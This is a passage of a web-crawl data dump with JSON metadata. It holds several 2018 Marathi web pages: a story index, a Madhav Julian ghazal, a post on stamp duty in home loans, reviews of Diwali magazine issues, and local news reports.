CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00231.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://dk5wv51hv3hj1.cloudfront.net/gulmohar/marathi-katha", "date_download": "2018-09-25T17:36:14Z", "digest": "sha1:BB4WOVB77BIPIOEAAMJMCSPXPW6EGXDJ", "length": 4253, "nlines": 102, "source_domain": "dk5wv51hv3hj1.cloudfront.net", "title": "मराठी कथा - कादंबरी - गोष्टी | marathi katha kadambari story | Maayboli", "raw_content": "\nगुलमोहर - मराठी कथा/कादंबरी\nमराठी कथा, मराठी गोष्टी, मराठी कादंबरी, प्रेम कथा, रहस्य कथा, गुढ कथा\nहा ग्रूप सुरु होण्याअगोदर\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nजेडन के स्मिथ (टुकिक) लेखनाचा धागा\nखेळ (शतशब्द कथा) लेखनाचा धागा\nसेटलमेन्ट बाबा लेखनाचा धागा\n\"अव दातारम |\" लेखनाचा धागा\nतीन देवियां - भाग ३ लेखनाचा धागा\nजेल - भाग दुसरा लेखनाचा धागा\nकादंबरी लेखन- तंत्र, मंत्र. लेखनाचा धागा\nआरंभम भाग - ३ लेखनाचा धागा\nतीन देवियां - भाग २ लेखनाचा धागा\nसलाम-ए-इश्क़ भाग-1 लेखनाचा धागा\nते तिघे - प्यार,इश्क और मोहब्बत (अंतिम) लेखनाचा धागा\nकाथ्याकूट: सारा पसारा (भाग आठ) लेखनाचा धागा\nजेल - भाग पहिला लेखनाचा धागा\nचिरुमाला (भाग १४) लेखनाचा धागा\nतेरा मुझसे है पेहले का नाता कोई - भाग ३ लेखनाचा धागा\nरेसिपी (लघुकथा) लेखनाचा धागा\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00231.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "http://www.transliteral.org/pages/z150421220143/view", "date_download": "2018-09-25T17:24:06Z", "digest": "sha1:X6BSXO6TMR7BAWMZE7YGIIJP53V2NM3A", "length": 13032, "nlines": 201, "source_domain": "www.transliteral.org", "title": "गज्जलाञ्जलि - न झाली भावगीताची अजुनी पू...", "raw_content": "\nमराठीत जुन्या कवींच्या साधारण किती कविता उपलब्ध असतील\nमराठी मुख्य सूची|मराठी साहित्य|गाणी व कविता|माधव ज्युलियन|गज्जलाञ्जलि|\nन झाली भावगीताची अजुनी पू...\nकेला पद्यप्रपञ्च हा कष्टा...\nही तल्लख गोड कोण बाल \nप्याला भरला तुझ्याच साठी,...\nमाझ्या हृदयांत तूच राणी \nअपार शास्त्रीं रमे म्हणो ...\nसतेज काळे टपोर डोळे दिसाव...\nबुवा निस्सङग बैरागी श्मशा...\nन झाली भावगीताची अजुनी पू...\nमिळेना अन्तरीं तूझ्या मला...\nसखे तू पूस, चण्डोला, त्यज...\nबुझावूं मी किती तूते \nरुक्याचीं सोयरीं सारीं, फ...\nभवानी आमुची आऊ, शिवाजी आम...\nपदें पाण्यांत सोडूनी बसे ...\nकुणापाशी अता मीं प्रेम मा...\nकिती सृष्टीमधे सौन्दर्य द...\nमनीं होती असूया ती पळाली,...\nतुझ्या सम्भाषणाची मला लाभ...\nप्रेमावीण जीवाला कशाचा जी...\nशोकाच्या समुद्रीं खाऊनी ग...\nकिती करिशी विकाप कवे, असा...\nमी श्यामले, बन्दी तुझा वन...\nनाही तुझ्या मी पोटया गोळा...\nकिति मैल अन्तर राहिलें अप...\nजरि यौवनीं शिरलीस चञ्चल प...\nझुरतों तुझ्यासाठी परी कळण...\nतू आणि मी मिळुनी ऊथे द्दश...\nस्फूर्ती दिली तू, गाऊलीं ...\nनिज मैत्रिणीला घेऊनी तरुण...\nयेथेच गे तू चाखिली कवितें...\nकेला तिने सहजेक्षणें हत्प...\nप्रेम कोणीही करीना कां अश...\n“प्रेम होतें, तें निमालें...\nवहवा रे वाचिवीर प्रेमपाठी...\nदैवयोगें ध्येय आता भेटण्य...\nऐकटे येऊनि येथे ऐकटें जाण...\nजीव तूजा लोभला माझ्यावरी ...\nती म्हणाली, “साङग हे होती...\nप्रेम होऊना तुझ्याने, प्र...\nवानिती काव्यांत जेथे भाट ...\nप्राशितों सौन्दर्य तूझें ...\nजीवघेणी काय लीला ही तुझी ...\nपुष्प नामी तू लताग्रीं पा...\nरम्य लाली अम्बरीं राहिली ...\nसर्वदा सञ्जीवनी तुझिया स्...\nरसज्ञ हो, पहा वसन्त पातला...\nवाट किती पाहुं तरी \nमानिनि, जाणार तुझा राग कध...\nलाज जरा, हास जरा, हास तू ...\nभिल्लीण न तू सुन्दरि, बाण...\nश्यामाच म्हणूं काय तुला श...\nकोठे तरि जाऊं बसुनी शीघ्र...\nहोतास कसा मित्र निका तू \nसखये, काय करूं मी \nव्यर्थ पूर्वी म्हटलें की ...\nभावपुष्पें फुललीं ही मधु ...\nतूजवाचूनि सुनी नीरस जाऊ र...\nशैशवींचा सहज स्नेह पुन्हा...\nजहाली ऊषा जागी सखे, तूहि ...\nगडे, नको छळुं आता, सुचे न...\nअगोट लागुनि ही तर्त जाहली...\nफिरायला हवाशीर थण्ड या प्...\n“तिच्यासमक्ष न ये ओळ ऐकही...\nतुझाच दास न लागे सखे, तुझ...\nहाल काय दासाचे, काळजी न ख...\nमी तुझ्यावरी कवनें गाऊलीं...\nमोतियाचा सतेज हा गजरा चेह...\nमूर्ति तुझी देखतांच मी पड...\nद्दष्टि तुवां फेकतांच देह...\nकाय करूं यापुढे प्रेय कुठ...\nऊठ, ऊठ, नदीकाठ पाहुं सर्व...\nरसोदात्त भावगीत रचूनी तुझ...\nपहा कसें गौरविलें कुठे कु...\nआनन्दकन्द लोकीं हा शाहु ब...\nआहेस तू जागीं हें खोटें ख...\nजमल्यास आज तारा अथवा खुशा...\nतू भासलीस मागे काव्यात्म ...\nगोरी सलील सुन्दर तू भेटता...\nअव्याज आणि राजस तू भेटतां...\nयेतां दिनान्त सन्निध येती...\nजातां टळूनि आवस वाढेल ह्र...\nहें काय सृष्टिवैभव चौफेर ...\nहें काय असें होऊ \nकां दया ये न तूते दीननाथा...\nकुणाला कुणी निर्मिलें आणि...\nपूरे पूर्वजांच्या जयांची ...\nअसो देव किंवा नसो, कां बर...\nअसे यौवनीं केस कां पाण्ढर...\nगमे स्वामि, संसार सारा तु...\nपाहतां सुन्दरी या पथीं &n...\nये राज्य कोण, कोणा फकीरी,...\nतुजवीण सखे, मज कोणि नसे, ...\nगज्जलाञ्जलि - न झाली भावगीताची अजुनी पू...\nडॉ. माधव त्रिंबक पटवर्धन ऊर्फ माधव जूलियन, (जन्म २१ जानेवारी १८९४; मृत्यु २९ नोव्हेंबर १९३९) हे मराठी भाषेतील प्रतिथयश कवी होऊन गेले.\nTags : gazalkavitamadhav julianpoemकविताकाव्यगजलमराठीमाधव जूलियन\nन झाली भावगीताची अजुनी पूर्ण अस्ताऊ,\nमधे तों सूर का थाम्बे कुठे ती गायिका जाऊ \nतकाके पाचुची झाडी, दिसे ही तृप्त आषाढीं;\n तिला ही भीति का खाऊ \nमिळेना साथही साधी, न रङगे राग आल्हादीं,\nकलेची सेविका नादी त्यजूनी जाय ही राऊ.\nजिवींची साद घालावी. कुणीही साथ ना द्यावी.\nन लाभे शान्ति योगाची, रसज्ञांची न टन्चाऊ \nमरे तों प्रीतिची सेवा करावी आणखी - देवा \nनिराशा मात्र लाधे वा \nजगाच्या विस्तृतारामीं विराजे चारुता नामी,\nपरी दग्धाश जीवाला गमे ही पेटली खाऊ.\nमिळेना नीच या ठायां जुळ्या जीवांस भेटाया,\nम्हणुनी स्वर्ग धुण्डाया ऊडी का मारिली ताऊ \nबरें, गा नन्दनोद्यानीं तुझ्या घ्येयासवें गाणीं,\nभवींची तेथ गार्‍हाणीं कशाला \nजरी मी या वनीं लक्षीं न थोडे बोलके पक्षी,\nतुझा तो सूर संरक्षीं मनीं मी - तोच तो गाऊं \nमराठीत जुन्या कवींच्या साधारण किती कविता उपलब्ध असतील\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00232.warc.wet.gz", "language": "mr", "language_score": 0.69, "bucket": "all"} {"url": "http://societyrun.com/blogs/%E0%A4%B8%E0%A5%8D%E0%A4%9F%E0%A5%85%E0%A4%AE%E0%A5%8D%E0%A4%AA-%E0%A4%A1%E0%A5%8D%E0%A4%AF%E0%A5%81%E0%A4%9F%E0%A5%80-%E0%A4%86%E0%A4%A3%E0%A4%BF-%E0%A4%B0%E0%A4%9C%E0%A4%BF%E0%A4%B8%E0%A5%8D/", "date_download": "2018-09-25T16:33:16Z", "digest": "sha1:AHKJAGVMBGMUHEEDTKNKBQT6Q4WPNQC6", "length": 5118, "nlines": 82, "source_domain": "societyrun.com", "title": "स्टॅम्प ड्युटी आणि रजिस्ट्रेशन फीपासून मुक्तता! | SocietyRun", "raw_content": "\nस्टॅम्प ड्युटी आणि रजिस्ट्रेशन फीपासून मुक्तता\nरेपो रेटमध्ये पाव टक्क्यांची कपात करत रिझर्व्ह बँकेने गृहकर्जधारांना सुखद धक्का दिल्यानंतर आणखी एक आनंदी निर्णय घेतला आहे. १० लाखांपर्यंतचं गृहकर्ज घेणाऱ्यांची स्टॅम्प ड्युटी आणि रजिस्ट्रेशन फीतून आरबीआयने सुटका केली आहे. स्टॅम्प ड्युटी आणि रजिस्ट्रेशन फीचा गृहकर्जातच समावेश करावा, असा महत्त्वाचा आदेश आरबीआयने बँकांना दिला.\nसध्या गृहकर्ज घेणाताना स्टॅम्प ड्युटी आणि रजिस्ट्रेशनसाठी लागणाऱ्या १५ टक्के अतिरिक्त खर्चामुळे बऱ्याचदा कर्जदारांची तारांबळही उडते.या रक्कमे अभावी काही जणांची घर घेण्यास दिरंगाई होते. त्यामुळे सर्वसामान्यांना घर घेता यावं यासाठी आरबीआयने हा स्टॅम्प ड्युटी आणि रजिस्ट्रेशनसाठी लागणाऱ्या रक्कमेचा समावेश गृहकर्जातच करावा असं असे आदेशच आरबीआयने सर्व बँकांना दिले आहेत. पण आरबीआयच्या या निर्णयाचा फयादा फक्त १० लाखांपर्यंतचं गृहकर्ज घेणाऱ्यांनाच द्यावा, असं आरबीआयने स्पष्ट केलं आहे.कर्जदारांना स्वस्तात घरं उपलब्ध करून देण्याच्या उद्देशाने हा निर्णय घेण्यात आला आहे. दहा लाखांपेक्षा कमी किमतीच्या घरांसाठी घेतलेल्या कर्जाचे मूल्य (एलटीव्ही) काढताना बॅंका स्टॅंप ड्यूटी, रजिस्ट्रेशन आणि इतर दस्तऐवजांचे शुल्क समाविष्ट करू शकतात’, असं रिझर्व्ह बॅंकेने एका निवेदनाद्वारे नमूद केलं.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.75, "bucket": "all"} {"url": "http://www.saamana.com/diwali-ank-tanmay-sahitya-newsroom-live-ityadi-hasyasanand-chotyancha-awaj-marathi-culture-and-festivals/", "date_download": "2018-09-25T17:24:30Z", "digest": "sha1:CHCZLYTFNFOV5W7RY2RDP7SWSB2MTVKZ", "length": 25304, "nlines": 256, "source_domain": "www.saamana.com", "title": "स्वागत दिवाळी अंकांचे | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nनामदेव ढसाळ, चंद्रकांत खोत आणि मानकरकाका या नामवंतांविषयी प्रदीप म्हापसेसकरांचे व्यक्तिचित्रण उल्लेखनीय आहे. तमाशाचा इतिहास आणि बदलते वेदनादायी रूप याविषयी रघुवीर खेडकर यांच लेख हृदयस्पर्शी आहे. ज्येष्ठ पत्रकार, कवी, कीर्तनकार श्यामसुंदर सोन्नर यांच्या आठवणीतल्या अनुभवांचे काही क्षण समृद्ध ग्रामीण जीवनानुभव देणारे ठरले आहेत. शिरीष पै यांचा आचार्य अत्रेंच्या जीवनातील काही घटना सांगणारा पुनर्प्रकाशित लेख वाचकांना अंतर्मुख करणारा आहे.\nसंपादिका : पूजा हारूगडे मूल्य :७५ रु., पृष्ठ : १०४\nगेल्या अनेक वर्षांत टीव्ही पत्रकारिता अनेक आव्हानांना तोंड देत बहरली. या क्षेत्राचे सामान्य माणसाला नेहमीच एक कुतूहलवजा आकर्षण असते. परंतु प्रत्यक्षात पत्रकाराचे जगणे अत्यंत धकाधकीचे, असुरक्षित आणि तणावाचे होत आहे. ही पत्रकाराची घुसमट लक्षात घेऊन त्यांना व्यासपीठ मिळवून देण्यासाठी या अंकाची निर्मिती झाली आहे. या अंकातून पत्रकाराचा आवाज मांडण्याचा प्रयत्न केला आहे असे अंकाच्या संपादकांचे म्हणणे आहे. यात कुणी या क्षेत्रातील आव्हानांचे धोके सांगितले आहेत तर कुणी आपली घुसमट, आपले जगणे मांडले आहे. अनेकांच्या आयुष्यातील बऱयावाईट प्रसंगांना शब्दबद्ध केले आहे. या माध्यमाचे अंतर्बाहय़ रूप कसे आहे, त्याचा आवाका, त्यातील माणसे आणि त्यांची गुणवत्ता याविषयी वाचकांना अवगत करून देणारे नामवंत पत्रकारांचे सगळेच लेख उल्लेखनीय, दर्जेदार व माहितीपूर्ण झाले आहेत. याकरिता स्वाती पाटणकर, प्रशांत कदम, ज्ञानदा कदम, अक्षय भाटकर, मोहन देशमुख, अर्चना कांबळे, दिनेश मौर्या, रवीश कुमार, मंगेश चिवटे, केतन वैद्य, सचिन गवाणे, वेदांत नेब, सागर कुलकर्णी, सुभाष शिर्के, वैभवी जोशी, प्रमोद चुंचूवार, विनोद जगदाळे आदी ज्येष्ठ तथा नवोदित पत्रकारांचे योगदान या अंकाला लाभले आहे.\nसंपादकीय मंडळ : कमलेश सुतार, पंकज दळवी, प्रशांत डिंगणकर, विशाखा शिर्के मूल्य : १०० रु., पृष्ठे : १२८\nमान्यवरांचे विविध विषयांवरील दर्जेदार लेख, कथा यांची रेलचेल यंदाच्या अंकात आहे. प्रसिद्ध समाजशास्त्रज्ञ जी. एस. घुर्ये आणि प्रसिद्ध लेखिका दुर्गा भागवत या गुरू-शिष्याच्या प्रेमळ नात्याचं रूपांतर हाडवैरात कसे झाले याचा अभ्यासपूर्ण मागोवा घेणारा अंजली कीर्तने यांचा लेख, तसेच गणप्रिय गणिका- मुकुंद काळे, भारत-चीन संबंध – डॉ. शैलेंद्र देवळाणकर, मातृत्त्वाचा असर्जनशील प्रवास – डॉ. बाळ फोंडके, सती प्रथा आणि राजा राममोहन रॉय – अच्युत गोडबोले, दीपा देशमुख, निर्वासितांच्या व्यथा, वेदना – निळू दामले, प्राण्यांचे प्रणयी जीवन – डॉ. विनया जंगले, इस्लाम – युद्धपरंपरा आणि हिंसाचार – अब्दुल मुकादम, बालगुन्हेगारांच्या निष्पाप जगात – अमिता नायडू, युरोपियन सिनेनायक – अभिजित रणदिवे आदी लेख विशेष उल्लेखनीय झाले आहेत. प्रणव सचदेव, गणेश मतकरी, पंकज भोसले, रवींद्र पांढरे यांच्या कथा आणि प्रतिमा जोशी यांच्या समष्टीच्या संवादिक कविता उत्कृष्ट आहेत. अंकाचे ‘फुलराणी’ मुखपृष्ठ लक्षवेधी आहे.\nसंपादक : आशीष पाटकर मूल्य : १६० रु., पृष्ठे : २१२\nअंकात नामवंतांच्या विनोदी कथा, लेख, विनोदी – उपरोधिक कविता, वात्रटिका आणि भरपूर व्यंगचित्रे यांचा समावेश आहे. गिरिजा कीर, सुधीर सुखठणकर, मुकुंद गायधनी, अविनाश हळबे, भालचंद्र देशपांडे, अरुंधती भालेराव, प्रियंवदा करंडे, भा. ल. महाबळ, मो. बा. देशपांडे, सदानंद चांदेकर आदींच्या विनोदी कथा, लेख तसेच यशवंत सरदेसाई, विवेक मेहेत्रे, महेंद्र भावसार, कंदीकटला, जगदीश कुंटे, सुरेश क्षीरसागर, महादेव साने आदींची व्यंगचित्रे हास्यस्फोटक आहेत. शिवाय संजय घाटे, प्र. द. जोशी, भालचंद्र गंद्रे, रवींद्र जोगळेकर यांच्या चारोळ्या, वात्रटिका, विनोद वाचकांना हसविणारे आहेत. विवेक मेहेत्रे यांचे सेल्फीवर आधारित मुखपृष्ठ लक्षवेधक.\nसंपादक : विवेक मेहेत्रे मूल्य :१५० रु., पृष्ठे : १६०\nबदकांची मैत्रीण (माधव गवाणकर), पिल्लू – सुरेश वांदिले, आभासी गेम – प्रवीण भिरंगी, मला उंच उडू दे – एकनाथ आव्हाड यांच्या गोष्टी तसेच एक मॉन्स्टर अक्राळविक्राळ, पुष्प महोत्सव – कल्पना शुद्धवैशाख, आई माझा गुरू – ज्योतीराम कदम हे नाटुकले आणि कविता, चित्रकथा, विनोद, कोडी, कॉमिक्स, हास्यचित्रे आदी मजकूर या अंकात आहे. छोट्यांच्या ज्ञानात भर टाकणारे व संस्कार करणारे उत्तम साहित्य या अंकात आहे.\nसंपादिका : वैशाली मेहेत्रे मूल्य : १०० रु., पृष्ठे :१४४\nमराठी कल्चर ऍण्ड फेस्टिव्हल्स\nमराठी कल्चर ऍण्ड फेस्टिव्हल्स हा अमेरिकेतील लॉस एंजेलिस येथून प्रसिद्ध होणारा ‘डिजिटल दिवाळी अंक’ आहे. या अंकाचे यंदाचे तिसरे वर्ष. ‘मराठी कल्चर ऍण्ड फेस्टिव्हल्स’ या संस्थेच्या संस्थापिका आणि अंकाच्या व्यवस्थापकीय संपादिका ऐश्वर्या कोकाटे यांनी हा उपक्रम सुरू केला आहे. या दिवाळी अंकासाठी त्यांना आशुतोष बापट (पुणे), श्रीनिवास आणि शैलजा माटे (लॉस एंजेलिस), शोभना डॅनियल, माणिक सहस्रबुद्धे, शीतल रांगणेकर यांचेही सहकार्य मिळाले आहे. हिंदुस्थानसह जगातील वेगवेगळ्या देशांतील मान्यवर, नवोदित लेखक, कवी आदींचा या अंकात सहभाग आहे. मनोरंजकतेबरोबरच वाचकांच्या ज्ञानात भर घालणारे वैचारिक साहित्य या अंकात आहे. शर्मिला माहूरकर (वडोदरा), डॉ. मुकुंद मोहरीर (सॅन दिएगो), विद्या हर्डीकर-सप्रे (कॅलिफोर्निया), किरण डोंगरदिवे (बुलढाणा), जयदीप भोसले (मुंबई), आदित्य कल्याणपूर (यूएसए), सचिन गोडबोले (पॅरिस), केतकी वासले (टोरांटो), निनाद वेंगुर्लेकर (मुंबई), स्वप्नील पगारे (लॉस एंजेलिस), गौरव वाडेकर (ऑस्ट्रेलिया), मीना नेरूरकर (फिलाडेल्फिया), विजयकुमार देशपांडे (सोलापूर), प्रतीक माने (पुणे), भरत उपासनी (नाशिक), उमाली पाटील (शिरपूर), श्वेता मालेकर-गुप्ता (हाँगकाँग), राहुल तेलंगे (बर्मिंगहॅम), पल्लवी रासम (सिंगापूर), अनुषा आचार्य (मुंबई), प्रियदर्शिनी गोखले (ऍरिझोना) आदींचे वाचनीय साहित्य अंकात आहे. दिशा मालपुरे यांचे मुखपृष्ठ आणि गंधार कात्रे यांचे मलपृष्ठ आकर्षक आहे. सुरुवातीला असलेले प्रतिमा खरे (पुणे) या मुलीचे पेंटिंगदेखील लक्ष वेधून घेते.\nसंपादिका : ऐश्वर्या कोकाटे पृष्ठे ७६, मूल्य : १३० रु.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीललोणी मावळा बलात्कार व खून प्रकरणातील आरोपींचा शुक्रवारी फैसला\nपुढीलसांगली पोलिसांच्या ताब्यातून दोन आरोपी पळाले\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/rahuri-accident-three-death-issue/", "date_download": "2018-09-25T17:36:03Z", "digest": "sha1:2BET77YXZMBOFTD3T6OLRE7YBFXFN6XY", "length": 5232, "nlines": 49, "source_domain": "www.pudhari.news", "title": " राहुरीत दोन चिमुकल्यांचा बुडून मृत्यू, आईचा शोध सुरू | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › राहुरीत दोन चिमुकल्यांचा बुडून मृत्यू, आईचा शोध सुरू\nराहुरीत दोन चिमुकल्यांचा बुडून मृत्यू, आईचा शोध सुरू\nराहुरी तालुक्यातील खंडाबे खुर्द येथे एका विहिरीत पडून दोन चिमुकल्या मुलींचा मृत्यू झाला तर त्यांच्या आईचा अद्याप शोध लागू शकलेला नाही. ही घटना शनिवारी साडेबारा वाजण्याच्या सुमारास घडली.\nखडांबे खुर्द येथील प्रशांत कल्हापुरे यांचा पत्नी व दोन मुली असा परिवार आहे. प्रशांत हे शेतकरी आहेत. त्यांच्या अराध्या प्रशांत कल्हापुरे (वय ६), अक्षदा प्रशांत कल्हापुरे (वय ९) या दोन मुलींचा मृतदेह शनिवारी दुपारी जवळच्याच एका विहिरीत आढळून आला. हे दोन्ही मृतदेह पोलिस व ग्रामस्थांनी विहिरीतून बाहेर काढले आहेत तर मुलींच्या आईचा शोध घेण्याचे काम सुरु आहे. संबंधित विहिर ही शांताराम कल्हापुरे यांच्या मालकीची आहे. ही घटना कशी घडली, याबाबत अद्याप काहीच माहिती हाती आलेली नसून, याबाबत पोलीस चौकशी करीत आहेत. मृत मुलींच्या आईचा शोध लागल्यास घटनेचा उलगडा होऊ शकतो, असे पोलिसांचे म्हणणे आहे.\n'तुकाई चारी' पाणी योजनेसाठी वृद्धाचा सत्याग्रह\nनगर : उस दर आंदोलकांना अटक करणार\nआरोपींच्या गाडी मोबाईलचा होणार लिलाव\nकोपर्डी : तिघांना फाशीच\nमहिलांच्या सन्मानासाठी निकाल महत्त्वपूर्ण\n..अन्यायाचा प्रवास अखेर आरोपींच्या शिक्षेने थांबला\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/Beed-Munja-Gite-case-dhananjay-munde-pc/", "date_download": "2018-09-25T17:28:59Z", "digest": "sha1:UXGDLQTPCVKCFRRAKMIQI46MWIEFGQHV", "length": 5275, "nlines": 36, "source_domain": "www.pudhari.news", "title": " बदनामीचे षड्यंत्र : धनंजय मुंडे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › बदनामीचे षड्यंत्र : धनंजय मुंडे\nबदनामीचे षड्यंत्र : धनंजय मुंडे\nमहामार्ग आणि शासनाच्या प्रकल्पासाठी शेतकर्‍यांच्या जमिनी सक्तीने घेण्याच्या सरकारच्या निर्णयाला विरोध केला म्हणूनच मुंजा गित्ते प्रकरणावरून बदनामीचे षड्यंत्र सुरू असल्याचे विधान परिषद विरोधी पक्षनेते धनंजय मुंडे गुरुवारी पत्रकारांशी बोलताना म्हणाले. मुंजा गित्ते यांची जमीन जगमित्र कारखान्यासाठी घेण्यात आली होती, त्या जमिनीचा संपूर्ण मोबदला त्यांना दिला आहे. हवे असेल तर त्यांना आणि त्या परिसरातील शेतकर्‍यांनाही त्यांची जमीन देण्याची तयारीही धनंजय मुंडे यांनी दर्शविली आहे.\nमागील दोन दिवसांपासून सोशल मीडियाच्या माध्यमातून मुंजा गित्ते या शेतकर्‍याची जमीन धनंजय मुंडे यांनी घेतली असल्याबाबतचे एक पत्र व्हायरल झाले आहे. याबाबत धनंजय मुंडे म्हणाले की, जगमित्र साखर कारखान्यासाठी मुंजा गित्ते यांची जमीन घेण्यात आली होती. त्यासाठीचा मोबदलाही त्यांना देण्यात आला असून त्याचे सर्व रेकॉर्ड कार्यालयात उपलब्ध आहे, असे असतानाही मागील चार वर्षांपासून सातत्याने मुंजा गित्ते यांच्या माध्यमातून भारतीय जनता पक्षाचे काही नेते आपली बदनामी करण्याचा प्रयत्न करीत आहेत .\nसरकारने मागील आठवड्यात घेतलेल्या एका भूसंपादनासंबंधीच्या निर्णयाला कडाडून विरोध केल्यामुळे पुन्हा एकदा आपली बदनामी करण्यासाठी मुंजा गित्ते यांचा वापर केला\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा 